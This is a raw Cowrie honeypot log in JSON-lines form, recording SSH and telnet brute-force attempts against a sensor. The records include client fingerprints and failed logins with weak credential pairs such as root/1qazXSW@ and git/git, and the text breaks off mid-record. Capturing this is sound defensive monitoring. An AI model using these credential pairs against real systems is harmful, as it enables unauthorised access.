{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:18.114873Z","src_ip":"165.154.137.186","session":"1adc287af190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:18.390544Z","src_ip":"8.210.75.243","session":"88a249b28c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":32838,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca2098e60225","protocol":"ssh","message":"New connection: 165.154.137.186:32838 (10.17.0.5:22) [session: ca2098e60225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:18.860579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:18.864242Z","src_ip":"165.154.137.186","session":"ca2098e60225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:19.123741Z","src_ip":"165.154.137.186","session":"ca2098e60225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:19.425044Z","src_ip":"165.154.137.186","session":"1adc287af190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:19.905173Z","src_ip":"165.154.137.186","session":"ca2098e60225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:20.692215Z","src_ip":"165.154.137.186","session":"1adc287af190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:21.165781Z","src_ip":"165.154.137.186","session":"ca2098e60225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45624,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1223d04d0f4","protocol":"ssh","message":"New connection: 165.154.137.186:45624 (10.17.0.5:22) [session: c1223d04d0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:25.318894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:25.322414Z","src_ip":"165.154.137.186","session":"c1223d04d0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45220,"dst_ip":"10.17.0.5","dst_port":22,"session":"f58e5dee5817","protocol":"ssh","message":"New connection: 165.154.137.186:45220 (10.17.0.5:22) [session: f58e5dee5817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:25.502568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:25.506424Z","src_ip":"165.154.137.186","session":"f58e5dee5817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:25.584876Z","src_ip":"165.154.137.186","session":"c1223d04d0f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:25.756552Z","src_ip":"165.154.137.186","session":"f58e5dee5817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:26.374296Z","src_ip":"165.154.137.186","session":"c1223d04d0f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:26.510331Z","src_ip":"165.154.137.186","session":"f58e5dee5817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:27.642323Z","src_ip":"165.154.137.186","session":"c1223d04d0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:27.762882Z","src_ip":"165.154.137.186","session":"f58e5dee5817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44890,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a6d3ed5e26","protocol":"ssh","message":"New connection: 165.154.137.186:44890 (10.17.0.5:22) [session: 71a6d3ed5e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:30.428188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:30.436080Z","src_ip":"165.154.137.186","session":"71a6d3ed5e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:30.703117Z","src_ip":"165.154.137.186","session":"71a6d3ed5e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:31.505430Z","src_ip":"165.154.137.186","session":"71a6d3ed5e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:32.774366Z","src_ip":"165.154.137.186","session":"71a6d3ed5e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00273728370667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:34.748954Z","src_ip":"170.64.224.25","session":"5c8b8586a2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":34812,"dst_ip":"159.203.135.109","dst_port":22,"session":"f512472262e3","protocol":"ssh","message":"New connection: 159.65.58.200:34812 (159.203.135.109:22) [session: f512472262e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:44.495080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:44.732893Z","src_ip":"159.65.58.200","session":"f512472262e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:44.735732Z","src_ip":"159.65.58.200","session":"f512472262e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shirkov","password":"123456","message":"login attempt [shirkov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:45.723082Z","src_ip":"159.65.58.200","session":"f512472262e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:46.920460Z","src_ip":"159.65.58.200","session":"f512472262e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52304,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ff691f8329","protocol":"telnet","message":"New connection: 170.64.224.25:52304 (159.203.135.109:23) [session: a5ff691f8329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:58.537133Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46112,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc88f4c56d3","protocol":"ssh","message":"New connection: 165.154.137.186:46112 (10.17.0.5:22) [session: cfc88f4c56d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:59.821497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:59.825838Z","src_ip":"165.154.137.186","session":"cfc88f4c56d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:00.081520Z","src_ip":"165.154.137.186","session":"cfc88f4c56d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:00.848254Z","src_ip":"165.154.137.186","session":"cfc88f4c56d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:02.108478Z","src_ip":"165.154.137.186","session":"cfc88f4c56d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b84d6e265a8","protocol":"ssh","message":"New connection: 89.223.69.22:41326 (159.203.135.109:22) [session: 9b84d6e265a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:06.678021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:06.681761Z","src_ip":"89.223.69.22","session":"9b84d6e265a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e21b56b55628","protocol":"ssh","message":"New connection: 165.154.137.186:50968 (10.17.0.5:22) [session: e21b56b55628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:06.740205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:06.743814Z","src_ip":"165.154.137.186","session":"e21b56b55628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:06.790572Z","src_ip":"89.223.69.22","session":"9b84d6e265a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"enc